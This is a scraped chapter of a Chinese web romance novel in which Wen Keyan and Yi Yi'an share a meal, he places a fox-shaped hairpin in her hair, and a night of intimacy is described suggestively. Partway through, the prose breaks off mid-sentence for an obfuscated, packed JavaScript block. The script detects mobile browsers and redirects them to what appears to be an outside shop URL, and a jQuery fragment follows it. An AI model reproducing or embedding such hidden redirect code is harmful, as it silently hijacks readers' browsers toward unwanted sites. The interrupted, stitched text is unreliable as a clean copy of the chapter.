202. 顷中酌(五)
作品:《穿书后反被反派攻略》 “就是我小时候,自己捣鼓着做的一枚小铃铛。”
文可烟抬起眼,学着阿娘说过的话,语气轻松起来,甚至带上了一点故作的炫耀,指尖轻轻弹了弹铃身,发出一声清脆声响。
“怎么样,好看吧?你看,我戴着它,你隔老远便能听见我来了。”
羿逸安盯着银铃看了半晌,才低声回应出两个字。
“……好看。”
凝视着片刻后,羿逸安像是自言自语般,喃喃出口:“知道你来了……那以后,你一直戴着它,等我回家,可好?”
这话问得轻巧,却又裹着某种沉甸甸的期盼。
他想时时刻刻都听得到她的存在。
文可烟闻言,明显一顿。
“好。”
闷闷的一声,瞬间熨帖了羿逸安心底最深处某个不安的角落,给了他莫大的安慰。
羿逸安不舍地将视线从铃铛处移开,转而直直地落在文可烟脸上,看得不想眨眼。
羿逸安隐约觉得文可烟今日似乎有些不同,可这不同包裹在无法挣脱的亲昵里,令他心甘情愿地沉溺,甚至下意识忽略了某些不对劲。
他只是想狠狠将此刻的文可烟狠狠地,深深地镌刻在心里,值得一生所藏。
羿逸安的眼神太过直白专注,却也未错过文可烟的小动作。她似乎瞥了一眼他僵在半空中的竹筷,以及那块落在膻桌上、似乎已经冷却的肉。而后,她伸出自己的筷子,从碟中夹起另一块块肉,放在了他面前空空的碗中。
“快吃。”
说完这句,文可烟并未看见羿逸安如她所言立即低头用餐,反而将竹筷置下,搁在碗沿。随后,那只手并未收回,而是顺势闲闲搭在桌面上,指尖轻点着。另一只手,却早已抵在她的座椅边缘,稍一用力,便连人带椅地,将她朝他的方向拉得更近。
两人的距离瞬间又缩短一些。衣袂下摆不可避免地交叠在一起,连呼吸都在这突如其来的靠近中清晰可闻。
文可烟完全没料到羿逸安会有此番举动,身子随着椅子轻轻一晃,那双本还“好动”的小脚丫被惊得再不敢摇晃,直愣愣地悬在半空中,一动不敢动。
这一顿饭,便在这样一种微妙却亲密的姿态下进行。
说不自在是有的,毕竟从未如此用餐,可谁又都不肯放弃这黏糊劲迸发的甜蜜。
总之,整个桌上,只有竹筷偶而碰撞碗碟的清脆细响。
除此之外,再无其它大的声响。但凡多一点,也不至于那一点点衣料的窸窣摩擦、体温的传递、呼吸的交织,都放大得如此清晰。
在这方寸之地,粘稠得不成样子。
当然,至于这顿饭到底吃多吃少,是否真的吃饱了,恐怕也只有当事人自己心里才清楚。
率先放下筷子的是文可烟,碗里的米饭只动了一小半。
她单手托着腮,静静地盯着羿逸安专注用餐的侧脸上。那双暂时安分的足尖又悄悄随着心意动了起来,轻晃着。
节奏间,透着某种欢愉至甚的雀跃。
而她拢在袖中的另一只手心里,不知何时已攥住了某样东西,指腹下附着着一层期待,一遍遍摩挲着。
就是如此,以目光作笔,一笔一划细细临摹着羿逸安的模样。
*
室内依旧静悄悄的,文可烟与羿逸安面对面,一同侧躺在床榻上,默默注视着彼此。
而唯一连接彼此的,便是羿逸安搁在枕边的手,和文可烟搭在其上的手指。
其实,此刻时间尚早,距离他们往常入睡的时刻还有好一会儿。而文可烟此刻长发披散,姿容更是娴淡,神情并无想要出门的迹象,羿逸安便没有提及“要不要出去走走”的提议。
文可烟目光淡淡的,表情也是淡淡的,连嘴角都弧度都是一种褪去所有情绪的平和。
冷不丁地,她忽地开了口,语却是淡中有意。
“羿逸安,能不能为我插一次簪?”
硬是将一个问句的语调,说出了陈述意味。
说着,文可烟将早已在手中攥了许久的九尾狐簪,从身后拿出摆在他们之间。
羿逸安垂眸,掠过闯入视野的九尾狐簪,有几息愣神。而后,又将视线落回文可烟脸上,徐徐移动,扫过一眼她毫无修饰的乌发。
一股极其细微的、不对劲的感觉如同文火慢炖后逐渐浮上水面的细小气泡,不明显,却确确实实地冒了出来,存在着。
当羿逸安再次将目光转向文可烟的脸上时,她淡淡的神色早已化开,露出了浅淡笑意,眼中流露出来的希冀在羿逸安眼中是极为显眼的。
从无到有的过程,总是十分美好的。
而恰巧,这个变化是在羿逸安眼下发生的。
羿逸安拒绝不了,更无法拒绝。
他接过九尾狐簪后,视线则一直落在文可烟的发髻上,似在默默琢磨,该将其簪在哪个位置最是相宜,最能衬她。
指腹却在潜意识的作用下,摩挲过簪头上的九尾雕花。
似乎只在心中默默描摹了短短一瞬,羿逸安便有了决断。
他稍稍撑起身,凑上前去。
气息先于任何接触,轻浅地拂过文可烟的额前的碎发,带起一阵微痒的酥麻。
在气息轻抚之后,接踵而来的,是另一种更真实的触感。
微凉的指尖试探般地拨开了文可烟鬓边几缕垂落的青丝。
羿逸安捏着簪尾雕花处,目光凝定,手臂稳定,异常专注,一点一点,将九尾狐簪妥帖地插入文可烟的发间。
玉簪没入浓密青丝的刹那,发出一声几不可闻的细微摩擦声,像是完成了某种隐秘的契合。
这个过程到底是慢还是快,不得而知。
于羿逸安而言,或许只是片刻。
但在文可烟感知里,是被无限拉长,极缓慢的,缓慢到能感知到羿逸安指尖每一次细微的移动,缓慢到窗外光影在墙面上的偏移轨迹都变得可见,缓慢到无限珍贵。
簪子刚簪好,羿逸安正欲收回手,手背却被文可烟的一下子握住,不容退却。
羿逸安登时惊在原处。
自那夜之后,自己这只带伤的手再未被文可烟主动触碰过。
此下,却被文可烟那只同样未愈合的手拽过。
羿逸安愣愣地看着。
肌肤接触的刹那,尤其是伤口相贴的那一小片区域,似有极细密的电流窜过,混
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209763|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着难以言喻的酥麻,密密麻麻传来。所有神经都聚集在那相连的一小片肌肤上,隐秘又明晰。
晃神间,羿逸安尚未思索出这奇异的感觉是什么,便见文可烟仰起脑袋,迅速凑近,在他唇角轻啄了一口。
羿逸安似乎回过了神,似乎又没有。
温软的触感一触即离,羿逸安只能呆呆地望着近在咫尺的文可烟,望着她眼中映出的自己。
见羿逸安像是没反应过来,文可烟得寸进尺般,再一次露出白皙修长的脖颈,贴上他的唇,即刻退开。
可这一次,并未能如愿。
文可烟脑袋还未退回至枕上,便被羿逸安骤然抬起的手掌托住了后颈。力道温和却又坚定,不仅阻止了她的退路,反而有一种引导的意味,引着她,向着他的方向贴近。
松松紧扣的两只手,悄悄变了姿势。
文可烟的手指从羿逸安的指缝间穿过,十指慢慢交缠,紧紧相扣。
掌心紧密相贴,温度交融,似乎有了某种更深层的东西,正透过这道连接悄悄传递。
每一次脉搏的跳动,每一个瞬间的血液交换,都好似在这无声的联结中被无限放大,使得身体里流淌的血液似乎都会为此激烈喷涌爆发一次,涌流向身体各处,带起一阵阵陌生而滚烫的悸动。
无意识的动作间,文可烟的本就轻薄的衣衫更为松散,滑落一片莹白的肩颈与锁骨弧度。
不知是否因为这衣衫本就纤柔,还是忘情赋予了它别样的脆弱,轻轻一处触,便会散开。
渐渐地,文可烟的脑袋陷回至枕间,青丝铺散如墨色涟漪。而羿逸安的唇始终追随着,辗转深入,难舍难分。
血液在皮下奔流沸腾,另一种更为隐秘而汹涌的感受也随之攀升,弥漫至身体的每一个角落。
文可烟微蹙起眉,似是不适。可那只受伤的手却坚定地持续发力,更紧密地与羿逸安的血液交换。
只为更深,更沉,更分明一些,好让她毫无顾忌、放纵……
每个难耐、鲜明的瞬间,文可烟发间那支九尾狐簪都在昏暗之下流转出清冷的柔光。这层柔光之下又有一股莹润之感,随着她的动作折射出不同角度的光泽,莫名地好看。
而羿逸安偶有半睁、染着情潮的眼眸中,也因着莹润之光衬得愈发透亮纯净,像是藏了一颗永不熄灭的揉碎星辉。
一夜无眠,抵死缠绵,无限沉沦……
……
羿逸安睁开眼时,两人那只各自受伤的手仍缠绵在一起。伤口处隐隐有一股说不上来的钝痛,却又奇异地被另一种充盈的暖意覆盖。
指尖甚至因长久的紧握而有些麻木,可两人却都不肯松开哪怕片刻。
羿逸安一眼不错地凝望着眼前人的安静睡颜,心头却莫名泛起一种不真实的恐慌感,以至于贪恋地看着,看了许久,许久。
直到文可烟卷翘的睫毛细微颤抖,惺忪着双眼,双手习惯性地胡乱伸出,在羿逸安脸上毫无章法地抚摸、触碰。
触到令自己心满意足的热源后,迷迷糊糊嘟囔着:“你可知……‘占有欲’?”
似乎只是梦呓般问了一句,还未等羿逸安回答,文可烟便又缓缓阖上了眼帘。

